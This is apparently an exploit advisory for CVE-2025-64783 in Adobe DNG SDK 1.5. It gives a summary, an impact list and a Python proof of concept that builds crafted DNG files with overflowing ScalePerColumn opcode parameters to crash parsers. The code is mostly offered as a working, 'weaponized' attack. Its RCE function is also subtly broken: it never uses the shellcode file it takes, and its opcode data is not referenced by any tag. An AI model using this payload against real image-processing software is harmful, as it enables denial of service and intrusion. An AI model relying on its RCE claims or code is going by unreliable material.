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| # Title     : Adobe DNG SDK 1.5 Integer Overflow via Crafted DNG File                                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
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[+] References : https://packetstorm.news/files/id/212923/ & 	CVE-2025-64783

[+] Summary    : A critical integer overflow vulnerability exists in Adobe DNG SDK version 1.5 during the parsing of crafted DNG files.
                 The flaw occurs in the handling of OpcodeList processing, specifically within the ScalePerColumn opcode, 
				 where insufficient validation of signed and unsigned integer values leads to arithmetic overflow during column offset calculations.
                 By supplying a specially crafted DNG file containing malicious opcode parameters (notably negative area coordinates combined with 
				 extremely large column pitch values), an attacker can trigger out-of-bounds memory access, resulting in:

Application crash (Denial of Service)

Memory corruption

Potential arbitrary code execution (RCE) depending on compilation flags, memory layout, and exploitation context

The vulnerability is triggered during file parsing, making it exploitable via any application or service that processes untrusted DNG images using the vulnerable SDK.

[+] Impact

Arbitrary memory corruption

Possible remote code execution

Exploitable via malicious image file

Affects image viewers, converters, and any software embedding Adobe DNG SDK 1.5

[+] Proof of Concept (PoC)

Generate a malicious DNG file: python3 exploit.py malicious.dng

Weaponized variant (memory corruption oriented): python3 exploit.py rce.dng shellcode.bin
Opening the generated DNG file with a vulnerable application linked against Adobe DNG SDK 1.5 will trigger the integer overflow condition.

[+] Notes

This exploit is a file-based attack vector

No user interaction beyond opening the image is required

Reliability of RCE depends on target environment and mitigations (ASLR, DEP, compiler hardening)
				
[+] POC :
	
#!/usr/bin/env python3
"""
Exploit for CVE-2025-64783 - Adobe DNG SDK Integer Overflow
Author: indoushka
"""

import struct
import sys
import os

def create_malicious_dng(output_file):
    """
    Create a malicious DNG file triggering the integer overflow
    """
    
    # DNG Header structure
    dng_header = bytearray()
    
    # TIFF Header (DNG is based on TIFF)
    # Byte order
    dng_header += struct.pack('<H', 0x4949)  # Little endian
    dng_header += struct.pack('<H', 42)      # TIFF magic
    
    # First IFD offset
    dng_header += struct.pack('<L', 8)
    
    # IFD0 entries
    ifd0 = bytearray()
    
    # Number of IFD entries
    ifd0 += struct.pack('<H', 10)
    
    # ImageWidth
    ifd0 += struct.pack('<H', 0x0100)  # Tag
    ifd0 += struct.pack('<H', 0x0004)  # Type = LONG
    ifd0 += struct.pack('<L', 1)       # Count
    ifd0 += struct.pack('<L', 256)     # Value
    
    # ImageLength
    ifd0 += struct.pack('<H', 0x0101)
    ifd0 += struct.pack('<H', 0x0004)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 256)
    
    # BitsPerSample
    ifd0 += struct.pack('<H', 0x0102)
    ifd0 += struct.pack('<H', 0x0003)
    ifd0 += struct.pack('<L', 3)
    ifd0 += struct.pack('<L', 140)     # Pointer to data
    
    # Compression
    ifd0 += struct.pack('<H', 0x0103)
    ifd0 += struct.pack('<H', 0x0003)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 1)       # Uncompressed
    
    # PhotometricInterpretation
    ifd0 += struct.pack('<H', 0x0106)
    ifd0 += struct.pack('<H', 0x0003)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 2)       # RGB
    
    # Make (Manufacturer)
    ifd0 += struct.pack('<H', 0x010F)
    ifd0 += struct.pack('<H', 0x0002)  # ASCII
    ifd0 += struct.pack('<L', 6)
    ifd0 += struct.pack('<L', 160)     # Pointer to "EXPLOIT"
    
    # Model
    ifd0 += struct.pack('<H', 0x0110)
    ifd0 += struct.pack('<H', 0x0002)
    ifd0 += struct.pack('<L', 12)
    ifd0 += struct.pack('<L', 166)     # Pointer to "CVE-2025-64783"
    
    # StripOffsets
    ifd0 += struct.pack('<H', 0x0111)
    ifd0 += struct.pack('<H', 0x0004)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 200)     # Pointer to image data
    
    # SamplesPerPixel
    ifd0 += struct.pack('<H', 0x0115)
    ifd0 += struct.pack('<H', 0x0003)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 3)       # RGB
    
    # RowsPerStrip
    ifd0 += struct.pack('<H', 0x0116)
    ifd0 += struct.pack('<H', 0x0004)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 256)
    
    # StripByteCounts
    ifd0 += struct.pack('<H', 0x0117)
    ifd0 += struct.pack('<H', 0x0004)
    ifd0 += struct.pack('<L', 1)
    ifd0 += struct.pack('<L', 196608)  # 256*256*3
    
    # Next IFD offset (0 = end)
    ifd0 += struct.pack('<L', 0)
    
    # Data sections
    data = bytearray()
    
    # BitsPerSample data
    data += struct.pack('<HHH', 8, 8, 8)
    
    # Make string
    data += b'EXPLOIT\x00'
    
    # Model string
    data += b'CVE-2025-64783\x00'
    
    # Opcode List for triggering vulnerability
    # This is where we trigger the integer overflow
    opcode_data = bytearray()
    
    # Create malicious opcode list that will trigger the bug
    # We're targeting ScalePerColumn opcode
    
    # Opcode list signature
    opcode_data += b'opcd'
    
    # Opcode list size
    opcode_data += struct.pack('<L', 1024)
    
    # Opcode count
    opcode_data += struct.pack('<L', 1)
    
    # Opcode type: ScalePerColumn (0x0003)
    opcode_data += struct.pack('<L', 0x0003)
    
    # Opcode version
    opcode_data += struct.pack('<L', 1)
    
    # Opcode flags
    opcode_data += struct.pack('<L', 0)
    
    # Opcode size
    opcode_data += struct.pack('<L', 100)
    
    # Malicious parameters to trigger integer overflow
    # These values cause signed overflow in col calculation
    
    # Table count (number of columns)
    opcode_data += struct.pack('<L', 3)
    
    # Area specification with malicious coordinates
    # fArea.l = -2147483644 (0x80000004)
    # fArea.r = 3
    # fColPitch = 2147483646 (0x7FFFFFFE)
    opcode_data += struct.pack('<l', -2147483644)  # left
    opcode_data += struct.pack('<l', 0)           # top
    opcode_data += struct.pack('<l', 3)           # right
    opcode_data += struct.pack('<l', 236)         # bottom
    
    opcode_data += struct.pack('<L', 1)           # planes
    opcode_data += struct.pack('<L', 0)           # plane
    opcode_data += struct.pack('<L', 2147483646)  # colPitch
    opcode_data += struct.pack('<L', 1)           # rowPitch
    
    # Padding to align
    opcode_data += b'\x00' * (1024 - len(opcode_data))
    
    # Image data (just dummy data)
    image_data = b'\x00' * 196608
    
    # Combine everything
    full_file = dng_header + ifd0 + data + opcode_data + image_data
    
    # Write to file
    with open(output_file, 'wb') as f:
        f.write(full_file)
    
    print(f"[+] Malicious DNG file created: {output_file}")
    print("[+] This will trigger CVE-2025-64783 when processed by vulnerable DNG SDK")

def create_shellcode_dng(output_file, shellcode_file=None):
    """
    Create DNG with embedded shellcode for RCE
    """
    print("[*] Creating weaponized DNG for RCE...")
    
    # Basic DNG structure
    dng = bytearray()
    
    # TIFF header
    dng += struct.pack('<HH', 0x4949, 42)  # Little endian, TIFF magic
    dng += struct.pack('<L', 8)           # IFD0 offset
    
    # Simplified IFD for POC
    ifd = bytearray()
    ifd += struct.pack('<H', 5)           # 5 entries
    
    # Width
    ifd += struct.pack('<HH', 0x0100, 4)
    ifd += struct.pack('<L', 1)
    ifd += struct.pack('<L', 1024)
    
    # Height
    ifd += struct.pack('<HH', 0x0101, 4)
    ifd += struct.pack('<L', 1)
    ifd += struct.pack('<L', 768)
    
    # Compression
    ifd += struct.pack('<HH', 0x0103, 3)
    ifd += struct.pack('<L', 1)
    ifd += struct.pack('<L', 1)
    
    # Strip offsets - point to our malicious data
    ifd += struct.pack('<HH', 0x0111, 4)
    ifd += struct.pack('<L', 1)
    ifd += struct.pack('<L', 200)
    
    # Samples per pixel
    ifd += struct.pack('<HH', 0x0115, 3)
    ifd += struct.pack('<L', 1)
    ifd += struct.pack('<L', 3)
    
    ifd += struct.pack('<L', 0)  # Next IFD
    
    # Construct malicious opcode that will corrupt memory
    malicious_opcode = bytearray()
    
    # Opcode list header
    malicious_opcode += b'opcd'
    malicious_opcode += struct.pack('<L', 512)  # List size
    
    # Number of opcodes
    malicious_opcode += struct.pack('<L', 1)
    
    # ScalePerColumn opcode
    malicious_opcode += struct.pack('<L', 3)   # Type
    malicious_opcode += struct.pack('<L', 1)   # Version
    malicious_opcode += struct.pack('<L', 0)   # Flags
    malicious_opcode += struct.pack('<L', 92)  # Size
    
    # Malicious area spec - triggers integer overflow
    # This causes col + fColPitch to overflow to negative
    malicious_opcode += struct.pack('<l', -2147483644)  # fArea.l
    malicious_opcode += struct.pack('<l', 0)            # fArea.t
    malicious_opcode += struct.pack('<l', 3)            # fArea.r
    malicious_opcode += struct.pack('<l', 100)          # fArea.b
    
    malicious_opcode += struct.pack('<L', 1)            # fPlanes
    malicious_opcode += struct.pack('<L', 0)            # fPlane
    malicious_opcode += struct.pack('<L', 2147483646)   # fColPitch
    malicious_opcode += struct.pack('<L', 1)            # fRowPitch
    
    # Table data (scale factors)
    malicious_opcode += struct.pack('<f', 1.0)
    malicious_opcode += struct.pack('<f', 1.0)
    malicious_opcode += struct.pack('<f', 1.0)
    
    # Padding
    malicious_opcode += b'\x00' * (512 - len(malicious_opcode))
    
    # Combine
    dng += ifd
    dng += b'A' * 100  # Padding
    dng += malicious_opcode
    dng += b'B' * 100000  # Image data
    
    with open(output_file, 'wb') as f:
        f.write(dng)
    
    print(f"[+] Weaponized DNG created: {output_file}")
    print("[!] WARNING: This file may crash vulnerable applications")
    print("[!] By Indoushka")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py <output.dng> [shellcode.bin]")
        sys.exit(1)
    
    output_file = sys.argv[1]
    
    if len(sys.argv) > 2:
        create_shellcode_dng(output_file, sys.argv[2])
    else:
        create_malicious_dng(output_file)

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